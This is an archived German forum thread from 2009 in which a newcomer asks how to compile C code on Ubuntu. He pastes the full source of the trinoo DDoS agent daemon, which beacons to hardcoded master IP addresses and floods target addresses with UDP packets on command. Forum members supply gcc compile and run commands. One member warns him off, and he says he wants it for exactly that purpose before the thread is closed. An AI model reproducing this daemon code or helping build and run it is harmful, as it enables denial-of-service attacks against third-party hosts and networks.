PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : compilieren



seba
04.09.2009, 10:57
halo zusammen wie wird auf ubuntu compiliert und zwar zum beispiel eine datei?

bitte um hilfe und genauer den code

IRET
04.09.2009, 11:03
Welche Sprache??

seba
04.09.2009, 11:08
hallo die c sprache

kanst du mir helfen?

hpoc_
04.09.2009, 11:14
gcc source.c -o source

bl0b
04.09.2009, 11:14
./configure
make
make install

seba
04.09.2009, 11:16
ja weiss ich aber kanst du es ir genauer erklaren was ich mit demcode anfangen soll muss ich mich etwa als root anmelden im terminal und da alle cods vom progi einfugen oder was habe keinen plan wie ich dies progi zum laufen bringen kann

hpoc_
04.09.2009, 11:18
Es würde uns einiges erleichtern, würdest Du uns diesen Code zeigen. Im moment ist es eher ein Ratespiel als eine Hilfe.

seba
04.09.2009, 11:19
gcc habe ich schon installiert


/* trinoo daemon */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>

/* ----------------- strfix.h ----------------- */
#ifdef __GNUC__
#define strcpy(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcpy(_out, (src)); \
else { \
*_out = 0; \
_out = strncat(_out, (src), sizeof(dst) - 1); \
} \
_out; \
})
#define strcat(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcat(_out, (src)); \
else { \
size_t _size = sizeof(dst) - strlen(_out) - 1; \
if (_size > 0) _out = strncat(_out, (src), _size); \
} \
_out; \
})
#endif
/* ----------------- END of strfix.h ----------------- */


/* #define PROCNAME "httpd" */
char *master[] = {
"129.237.122.40",
"207.228.116.19",
"209.74.175.130",
NULL
};

#define DEFSIZE 1000

int main(int argc, char *argv[])
{
int sock, fromlen, numread, i, sock2, bewm, timerz=120, hoe, foke;
struct sockaddr_in sa, from, to;
struct hostent *he;
char buf[1024];
char arg1[4], *arg2, pass[10], *temp, *unf;
void *buf2;
int start, end, stop=0,ablespoof=0;
#ifdef PROCNAME
for (bewm = argc-1; bewm >= 0; bewm--)
memset(argv[bewm], 0, strlen(argv[bewm]));
strcpy(argv[0], PROCNAME);
#endif
buf2 = (void*)malloc(DEFSIZE);

if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(27444);
to.sin_family = AF_INET;

if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
exit(-1);
}
hello();
foke = fork();
if (foke > 0) {
hoe = setpgid(foke, foke);
exit(0);
}
if (foke == -1) exit(-1);
while (1) {
bzero(arg1, 1024);
bzero(buf, 1024);
fromlen=sizeof(from);
if ((numread = recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
perror("recvfrom");
continue;
}
if (strstr("l44", buf)==0) {
arg2 = malloc(sizeof(buf));
sscanf(buf, "%s %s %s", arg1, pass, arg2);
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
if(strcmp(arg1, "aaa")==0) {
to.sin_addr.s_addr = inet_addr(arg2);
start = time(NULL);
end = start + timerz;
stop = 0;
if((sock2 = getsock()) != -1)
while (!stop) {
to.sin_port = htons(rand()%65534);
sendto(sock2,buf2,sizeof(buf2), 0,(struct sockaddr*)(&to),sizeof(to));
if (time(NULL) > end) { close(sock2); stop = 1; }
}
stop=0;
}
if(strcmp(arg1, "bbb")==0)
if (atoi(arg2) > 1000)
timerz = 500;
else
timerz = atoi(arg2);
if(strcmp(arg1, "shi")==0) hello();
if(strcmp(arg1, "png")==0) sendudp((char *)inet_ntoa(from.sin_addr),"PONG",31335);
if(strcmp(arg1, "d1e")==0) exit(1);
if(strcmp(arg1, "rsz")==0) {
free(buf2);
buf2 = malloc(atoi(arg2));
bzero(buf2,sizeof(buf2));
}
if(strcmp(arg1, "xyz")==0) {
start = time(NULL);
end = start + timerz;
unf = malloc(sizeof(arg2));
if((sock2 = getsock()) != -1)
while (!stop) {
bzero(unf, sizeof(unf));
strcat(unf,arg2);
temp=strtok(unf,":");
while((temp = strtok(NULL,":"))!=NULL) {
printf("%s\n",temp);
to.sin_addr.s_addr = inet_addr(temp);
to.sin_port = htons(rand()%65534);
if (!stop)
sendto(sock2, buf2, sizeof(buf2), 0, (struct sockaddr*)(&to), sizeof(to));
if (time(NULL) > end) {
close(sock2);
stop = 1;
}
}
}
free(unf);
stop=0;
}
free(arg2);
}
}
}
}

int sendudp(char *host, char *data,int port)
{
int unf;
struct sockaddr_in out;

out.sin_family = AF_INET;
out.sin_addr.s_addr = inet_addr(host);
out.sin_port = htons(31335);

if ((unf = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return -1;
sendto(unf,data,strlen(data),0,(struct sockaddr*)&out,sizeof(out));
return 1;
}

int hello()
{
int i=0;
while (master[i] != NULL) { sendudp(master[i], "*HELLO*", 31335); i++; }
}

int getsock()
{
int i;
if ((i = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) != -1)
return i;
else
return -1;
}

bl0b
04.09.2009, 11:23
EDIT:
Oh sehe gerade du hast etwas sinnvolleres gepostet.
Dein Vorgehen: Du speicherst den Code in einer Datei (vorzugsweise *.c) und kompillierst sie dann mit dem von hpoc beschriebenen command.

Ach ja: in der Console kannst du eine Datei relativ einfach mit nano (besonders für Anfänger auch einigermassen verständlich) erstellen. Dazu einfach nano <deindateiname>.c eingeben und dann mit CTRL-X und y speichern.

seba
04.09.2009, 11:25
kompillieren und installieren

schritt fur schritt bitte mach es mir vor ich nach dir

hpoc_
04.09.2009, 11:29
gcc -lcrypt source.c -o source und mit
./source ausführen.
Ich würde aber behaupten, dass Du keine Ahnung hast, was das Programm macht und deshalb lege ich dir ans Herz, die Finger davon zu lassen.

seba
04.09.2009, 11:35
weiss ich schonobionekeobi brauche es fur genau die zwecke bin grade von windows weck auf ubntu umgestiegen nun brauche ich etwas help kanst du mir schritt fuer schritt erklren was ich da jetzt machen muss und bitte deine weisse sprache mir etwas naher erklaren

Bozok
04.09.2009, 12:06
:D du willst uns doch verarschen oder?
Die haben dir das jetzt hmm... ca. 3 MAL erklärt wie das geht!

seba
04.09.2009, 12:15
ist ja witzig danke fur die helps hier muss wohl von ganz vor anfangen co za pierdola sie kurwa odnosi jak kazdy z skopuw mniej wglowie a mysli ze osiangna kurwa szczyty hahahahahahahahaha

mbeezy
04.09.2009, 13:08
Ähh ja- closed.